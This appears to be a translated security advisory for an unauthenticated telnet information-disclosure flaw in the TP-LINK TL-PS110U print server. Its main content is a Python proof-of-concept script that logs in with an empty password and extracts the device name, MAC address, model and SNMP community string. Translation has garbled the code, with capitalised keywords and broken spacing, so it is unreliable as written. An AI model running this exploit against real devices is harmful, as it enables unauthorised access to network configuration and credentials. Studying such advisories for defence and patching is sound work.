TP-LINK TL-PS110U Print Server 'tplink-enum. py' Security Bypass Vulnerability

Release date:
Updated on: 2013-06-23

Affected Systems:
TP-LINK TL-PS110U
Description:
--------------------------------------------------------------------------------
Bugtraq id: 60682
 
TL-PS110U is a single USB port printing server, it is specially designed for small and medium enterprises, schools, families, it provides easy and convenient Shared printing for all users on the LAN.
 
The TP-LINK TL-PS110U Print Server enables attackers to access configuration information without authentication when running the telnet service, including the device name, MAC address, vendor, model, SNMP community string.
 
<* Source: SANTHO

Link: http://www.exploit-db.com/exploits/26318/
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Import telnetlib
Import sys
Host = sys. argv [1]
Tn = telnetlib. Telnet (host)
Tn. read_until ("Password :")
Tn. write ("\ r \ n ")
Tn. read_until ("choice ")
Tn. write ("1 \ r \ n ")
Tn. read_until ("choice ")
Tn. write ("1 \ r \ n ")
Data = tn. read_until ("choice ")
For I in data. split ("\ r \ n "):
If "Device Name" in I:
Print I. strip ()
If "Node ID" in I:
Print I. strip ()
Tn. write ("0 \ r \ n ")
Tn. read_until ("choice ")
Tn. write ("2 \ r \ n ")
Data = tn. read_until ("choice ")
For I in data. split ("\ r \ n "):
If "Manufacture:" in I:
Print I. strip ()
If "Model:" in I:
Print I. strip ()
Tn. write ("0 \ r \ n ")
Tn. read_until ("choice ")
Tn. write ("5 \ r \ n ")
Data = tn. read_until ("choice ")
For I in data. split ("\ r \ n "):
If "Community" in I:
Print I. strip ()

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
TP-LINK
-------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://www.tp-link.com/en/products/details? Model = TL-PS110U